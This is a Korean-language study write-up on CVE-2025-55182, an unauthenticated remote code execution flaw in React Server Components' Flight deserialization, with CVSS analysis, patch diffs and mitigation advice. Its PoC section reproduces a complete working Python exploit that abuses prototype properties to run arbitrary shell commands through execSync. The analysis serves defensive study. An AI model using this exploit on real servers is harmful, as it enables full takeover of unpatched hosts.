CVE-2025-55182
Summary
- 제품 : React Server Components
- 영향 범위 : 19.0.0, 19.1.0, 19.1.1, 19.2.0
- 취약점 종류
- CWE-502 - 신뢰할 수 없는 역직렬화 (CWE Details)
- Flight 프로토콜의 역직렬화 처리 과정에서 발생
- 결과
- HTTP 페이로드 전송 시 인증 없이 서버 측에서 임의의 코드 원격으로 실행 (nvd)
- CVSS (3.1) 10.0 Critical (AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H)
1. 취약점 사례 조사
a. 스택 & 아키텍처
- 언어 / 프레임워크 : React
- 취약한 라이브러리
- react-server-dom-parcel
- react-server-dom-turbopack
- react-server-dom-webpack
- 취약한 라이브러리
b. 취약 코드 구조
// ReactFlightDOMServerNode.js (또는 관련 파일의 유사한 로직)
function requireModule(moduleReference) {
// ... 모듈 로딩 로직 (번들 맵 사용)
var moduleExports = require(moduleReference.id);
return moduleExports;
}
- moduleExports 역직렬화된 데이터를 바탕으로 모듈의 export를 가져옴
- 역직렬화된 모듈 ID를 통해 가져온 export 값 반환
- moduleExports 객체의 프롬퍼티가 오염될 수 있는 로직 실행
c. 공격 플로우
- React Server Component를 사용하는 엔드포인트 파악
- 서버에 존재하는 정상 모듈 ID 뒤에 접근해선 안 될 속성 추가해 요청 데이터 생성
- requireModule(id) 함수 실행 시 모듈 메모리에 로드
- 내장 속성이 포함된 객체를 아무런 필터링 없이 반환
2. 취약점 위험도 / 심각도 분석 (CVSS 스코어 기반)
a. 공식 CVSS v3.1
- 점수 : 10.0 (Critical)
- 벡터 : AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H
b. 각 요소 해석
- Attack Vector (AV) : N (Network) → React 서버가 인터넷에 연결되어 있다면 원격에서 공격 가능
- Attack Complexity (AC) : L (LOW) → 기본 설정 상태에서도 Flight 프로토콜 페이로드만 전송하면 발동
- Privileges Required (PR) : N (No Privileges Required) → 로그인이나 인증 토큰 없이 RSC를 처리하는 엔드포인트에 접근 가능하면 공격 가능
c. 결론
기본 설정 상태에서 React 서버에 인터넷이 연결되어 있고 로그인이나 인증 토큰 없이 RSC를 처리하는 엔드포인트에 접근하면 임의의 코드 원격으로 실행 가능
3. CVE → CWE 연결 분석
CVE-2025-55182 → CWE-502 : Deserialization of Untrusted Data
4. PoC
a. 공개 PoC
소스 코드 또는 패키지 분석
-
React Server Components (RSC)의 Flight 프로토콜 처리 모듈 (react-server-dom-*)
-
클라이언트가 요청한 ID를 해석할때 메타 속성에 대한 접근을 차단하지 않음
-
Function 생성자가 공격자에게 노출된 상태
pseudo-code
-
악의적 payload 생성
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}- execSync의 결과를 변수에 담아 특수 에러(NEXT_REDIRECT) 메시지로 위장하여 반환
-
공격자가 직접 Multipart 패킷 생성
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}- Flight 프로토콜의 문법을 이용하여 JSON 객체 (”0”)와 객체를 참조하는 포인터 (”1”) 조립
- 바로 $0을 호출하면 오류 발생 가능성 (Pending 중)
- 따라서 “1”을 통해 호출 ($@0)
-
HTTP 전송 및 결과 확인
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)- res.text에 실행 결과 포함
1 ~ 3이 반영된 pseudo-code
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text) -
b. 실습 목적 PoC 설계
5. 유사 사례 비교
a. **CVE-2025-59287 (CVE-2022-22965)**
- 선택 사유 : 구조와 PoC 흐름 면에서 같으나 payload 구성, 방어책이 다름 언어적 특성, 공격 payload 등 다양한 환경 경험 가능
- PoC 설계 가이드 활용에 최적화
b. PoC 개념 흐름도
- 프로토콜 구조 분석
- 정상 참조 패턴 파악
- 악성 Payload 생성
- 순환 참조(Mirror) 설정
- Multipart 패킷 전송
- RCE 및 서버 장악
6. 방어 방법
a. 사용자
- 즉시 업데이트 React 19.0.1, 19.1.2, 19.2.1 이상 및 Next.js 최신 패치 버전 (15.0.5+ 등)으로 무조건 업데이트
- 임시조치 패치가 불가능할 시 RSC 관련 엔드포인트로 들어오는 요청을 WAF 단에서 차단
b. 패치 내용
-
핵심 보안 패치
requireModule 함수
변경 전
// BEFORE (취약)
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
return moduleExports[metadata[NAME]];
}변경 후
// AFTER (패치)
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
} -
ReactFlightReplyServer.js
- Deep Resolution of Cycles
- Deferred Error Handling
- reviveModel 함수의 proto 처리 강화
- initializeModelChunk의 Symbol 기반 접근으로 변경
- getOutlinedModel 함수의 타입 체크 강화
-
decodeReplyFromBusboy 함수의 에러 처리 개선 변경 전
// BEFORE: 에러가 전파되어 서버 크래시 가능
function decodeReplyFromBusboy(busboyStream, options) {
resolveField(value, ...); // 에러 발생 시 전파
}변경 후
// AFTER: try-catch로 감싸서 스트림 안전하게 종료
function decodeReplyFromBusboy(busboyStream, options) {
try {
resolveField(value, ...);
} catch (error) {
busboyStream.destroy(error); // 스트림 안전하게 파괴
return;
}
}
참고문헌
- https://www.cvedetails.com/cve/CVE-2025-55182/
- https://m.boannews.com/html/detail.html?idx=140766
- https://news.hada.io/topic?id=24874
- https://www.logpresso.com/ko/blog/2025-12-05-react2shell
- https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/#public-proofs-of-concept-poc
- https://github.com/msanft/CVE-2025-55182
- https://weeeeey.tistory.com/341